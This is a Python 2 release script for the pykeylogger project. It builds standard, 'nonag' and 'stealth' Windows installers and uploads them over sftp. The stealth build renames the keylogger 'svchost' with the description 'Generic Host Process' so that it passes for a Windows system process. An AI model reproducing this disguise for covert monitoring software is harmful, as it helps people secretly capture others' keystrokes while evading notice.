forked from roxana-lafuente/ResearchLogger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
make_all_dist.py
326 lines (259 loc) · 12.9 KB
/
make_all_dist.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
import version
import os
import sys
import re
import shutil
import subprocess
from optparse import OptionParser
import zipfile
import zlib
class DistributionBuilderController:
def __init__(self):
self.ParseOptions() # stored in self.cmdoptions
def run(self):
self.version_check()
if not self.cmdoptions.uploadonly:
if self.cmdoptions.disttype in ['standard', 'all']:
print "Running standard build..."
db = DistributionBuilder('standard')
db.run()
if self.cmdoptions.disttype in ['nonag', 'all']:
print "Running nonag build..."
db = DistributionBuilder('nonag')
db.run()
if self.cmdoptions.disttype in ['stealth', 'all']:
print "Running stealth build..."
db = DistributionBuilder('stealth')
db.run()
self.upload_release()
def ParseOptions(self):
'''
Read command line options
'''
parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").")
parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print extra debug output) [default: %default]")
parser.add_option("-t", "--disttype", action="store", dest="disttype", help="type of distribution to build ('standard', 'nonag', 'stealth', or 'all'). [default: %default]")
parser.add_option("-u", "--uploadonly", action="store_true", dest="uploadonly", help="only upload the release, don't do the build. [default: %default]")
parser.set_defaults(debug=False,
disttype="all",
uploadonly=False)
(self.cmdoptions, args) = parser.parse_args()
def version_check(self):
if raw_input("Current version is " + version.version + ". Is that correct? [Y/N] ") in ["y", "Y", "yes", "YES", "Yes"]:
pass
else:
sys.exit()
def upload_release(self):
'''
Upload files for release.
'''
while 1:
ans = raw_input("Do you want to upload now? [y/n] ")
if ans in ['y', 'Y', 'n', 'N']:
ans = ans.lower()
break
if ans == 'n':
return()
print "uploading regular release files..."
returncode = subprocess.call('''sftp -b - nanotube,[email protected] << MYINPUT
cd /home/frs/project/p/py/pykeylogger/pykeylogger
mkdir %(version)s
cd %(version)s
mput ../pykeylogger-releases/%(version)s/pykeylogger-%(version)s_src*
mput ../pykeylogger-releases/%(version)s/pykeylogger-%(version)s_win32*
put ./doc/CHANGELOG.TXT changelog_%(version)s.txt
exit
MYINPUT''' % {'version': version.version}, shell=True)
print "uploading stealth and nonag release files"
returncode = subprocess.call('''sftp -b - nanotube,[email protected] << MYINPUT
cd htdocs/bin
mput ../pykeylogger-releases/%(version)s/pykeylogger-%(version)s_stealth*
mput ../pykeylogger-releases/%(version)s/pykeylogger-%(version)s_nonag*
exit
MYINPUT''' % {'version': version.version}, shell=True)
class DistributionBuilder:
def __init__(self, disttype):
'''
Disttype is either "standard", "nonag", or "stealth"
stealth is also nagless
'''
self.disttype = disttype
if self.disttype == 'standard':
self.filename_addendum = ''
elif self.disttype == 'nonag':
self.filename_addendum = '_nonag'
elif self.disttype == 'stealth':
self.filename_addendum = '_stealth'
def toggle_nag(self, new_state):
f = open('keylogger.pyw', 'r')
try:
contents = f.readlines()
finally:
f.close()
f = open('keylogger.pyw', 'w')
try:
for line in contents:
line = re.sub('^( *NagMe = ).*', '\\1' + new_state, line)
f.write(line)
# if re.search('^( +NagMe = )', line):
# print line
finally:
f.close()
def toggle_stealth(self, new_name, new_description, icon_flag):
'''
Change name, description, in version.py, rename the icon files and the
ini and val files.
'''
f = open('version.py', 'r')
try:
contents = f.readlines()
finally:
f.close()
f = open('version.py', 'w')
try:
for line in contents:
line = re.sub('^( *name = ).*', '\\1' + '"' + new_name + '"', line)
line = re.sub('^( *description = ).*', '\\1' + '"' + new_description + '"', line)
# line = re.sub('^( *window_title = ).*', '\\1' + '"' + new_window_title + '"', line)
f.write(line)
# if re.search('^( +NagMe = )', line):
# print line
finally:
f.close()
if icon_flag == 1:
shutil.copy(version.name + '.ini', new_name + '.ini')
shutil.copy(version.name + '.val', new_name + '.val')
shutil.copy(version.name + 'icon.ico', new_name + 'icon.ico')
shutil.copy(version.name + 'icon.svg', new_name + 'icon.svg')
shutil.copy(version.name + 'icon_big.gif', new_name
+ 'icon_big.gif')
else:
os.remove(icon_flag + '.ini')
os.remove(icon_flag + '.val')
os.remove(icon_flag + 'icon.ico')
os.remove(icon_flag + 'icon.svg')
os.remove(icon_flag + 'icon_big.gif')
def run(self):
# This is where we do stuff.
if self.disttype == 'nonag' or self.disttype == 'stealth':
self.toggle_nag('False')
if self.disttype == 'stealth':
self.toggle_stealth('svchost', 'Generic Host Process', 1)
self.build_executable()
if self.disttype != 'stealth':
self.build_sdist()
if self.disttype == 'nonag' or self.disttype == 'stealth':
self.toggle_nag('True')
if self.disttype == 'stealth':
self.toggle_stealth('pykeylogger', 'Simple Python Keylogger', 'svchost')
print "done, press enter key to exit"
os.system(r'pause')
def build_executable(self):
# Delete old build dir.
print r'rd /S /Q build'
os.system(r'rd /S /Q build')
# Delete old dist dir
print r'rd /S /Q dist'
os.system(r'rd /S /Q dist')
# Create the exe
print r'c:\Python25\python setup.py py2exe'
os.system(r'c:\Python25\python setup.py py2exe')
print r'rename "dist" "pykeylogger-' + version.version + '""'
os.system(r'rename "dist" "pykeylogger-' + version.version + '""')
self.build_nsis_installer()
print r'move ".\pykeylogger-' + version.version + r'_win32_installer.exe" ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe"'
os.system(r'move ".\pykeylogger-' + version.version + r'_win32_installer.exe" ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe"')
print "zipping executables"
self.ZipFiles(r"pykeylogger-" + version.version, "pykeylogger-" + version.version + self.filename_addendum + "_win32.zip")
print r'rd /S /Q pykeylogger-' + version.version
os.system(r'rd /S /Q pykeylogger-' + version.version)
print r'rd /S /Q build'
os.system(r'rd /S /Q build')
# Create md5sum
print r'""C:\Progra~1\UnixUtils\md5sum.exe" "pykeylogger-' + version.version + self.filename_addendum + r'_win32.zip" > "..\pykeylogger-' + version.version + self.filename_addendum + '_win32_md5sum.txt""'
os.system(r'""C:\Progra~1\UnixUtils\md5sum.exe" "pykeylogger-' + version.version + self.filename_addendum + r'_win32.zip" > "..\pykeylogger-' + version.version + self.filename_addendum + '_win32_md5sum.txt""')
print r'""C:\Progra~1\UnixUtils\md5sum.exe" ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe" > "..\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer_md5sum.txt""'
os.system(r'""C:\Progra~1\UnixUtils\md5sum.exe" ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe" > "..\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer_md5sum.txt""')
# Move release files out of the source dir
print r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32.zip" "..\pykeylogger-' + version.version + self.filename_addendum + '_win32.zip"'
os.system(r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32.zip" "..\pykeylogger-' + version.version + self.filename_addendum + '_win32.zip"')
print r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe" "..\pykeylogger-' + version.version + self.filename_addendum + '_win32_installer.exe"'
os.system(r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_win32_installer.exe" "..\pykeylogger-' + version.version + self.filename_addendum + '_win32_installer.exe"')
# os.system(r'pause')
def build_sdist(self):
print "creating sdist"
os.system(r'c:\Python25\python setup.py sdist')
print r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + self.filename_addendum + '_src.zip"'
os.system(r'move ".\dist\pykeylogger-' + version.version + r'.zip" ".\pykeylogger-' + version.version + self.filename_addendum + '_src.zip"')
print r'del .\MANIFEST'
os.system(r'del .\MANIFEST')
print r'rd /S /Q dist'
os.system(r'rd /S /Q dist')
# Create md5sum
print r'""C:\Progra~1\UnixUtils\md5sum.exe" "pykeylogger-' + version.version + self.filename_addendum + r'_src.zip" > "..\pykeylogger-' + version.version + self.filename_addendum + '_src_md5sum.txt""'
os.system(r'""C:\Progra~1\UnixUtils\md5sum.exe" "pykeylogger-' + version.version + self.filename_addendum + r'_src.zip" > "..\pykeylogger-' + version.version + self.filename_addendum + '_src_md5sum.txt""')
# Move release files out of source dir
print r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_src.zip" "..\pykeylogger-' + version.version + self.filename_addendum + '_src.zip"'
os.system(r'move ".\pykeylogger-' + version.version + self.filename_addendum + r'_src.zip" "..\pykeylogger-' + version.version + self.filename_addendum + '_src.zip"')
# os.system(r'pause')
def build_nsis_installer(self):
'''
This needs to be called before we zip and delete the renamed dist
directory.
'''
self.update_nsis_script_version()
if self.disttype == 'stealth':
self.toggle_nsis_stealth_params('svchost')
print r'"C:\Program Files\NSIS\makensis.exe" pykeylogger_install_script.nsi'
os.system(r'"C:\Program Files\NSIS\makensis.exe" pykeylogger_install_script.nsi')
if self.disttype == 'stealth':
self.toggle_nsis_stealth_params('pykeylogger')
def update_nsis_script_version(self):
f = open('pykeylogger_install_script.nsi', 'r')
try:
contents = f.readlines()
finally:
f.close()
f = open('pykeylogger_install_script.nsi', 'w')
try:
for line in contents:
line = re.sub('^( *!define PYKEYLOGGER_VERSION ).*', '\\1'
+ '"' + version.version + '"', line)
f.write(line)
finally:
f.close()
def toggle_nsis_stealth_params(self, stealthname):
f = open('pykeylogger_install_script.nsi', 'r')
try:
contents = f.readlines()
finally:
f.close()
f = open('pykeylogger_install_script.nsi', 'w')
try:
for line in contents:
line = re.sub('^( *!define PYKEYLOGGER_EXENAME ).*', '\\1' + '"' + stealthname + '"', line)
f.write(line)
finally:
f.close()
def ZipFiles(self, targetdir, ziparchivename):
'''
Create a zip archive of all files in the target directory.
'''
# os.chdir(targetdir)
myzip = zipfile.ZipFile(ziparchivename, "w", zipfile.ZIP_DEFLATED)
if type(targetdir) == str:
for root, dirs, files in os.walk(targetdir):
for fname in files:
if fname != ziparchivename:
myzip.write(os.path.join(root, fname))
if type(targetdir) == list:
for fname in targetdir:
myzip.write(fname)
myzip.close()
myzip = zipfile.ZipFile(ziparchivename, "r", zipfile.ZIP_DEFLATED)
if myzip.testzip() is not None:
print "Warning: Zipfile did not pass check."
myzip.close()
if __name__ == '__main__':
dbc = DistributionBuilderController()
dbc.run()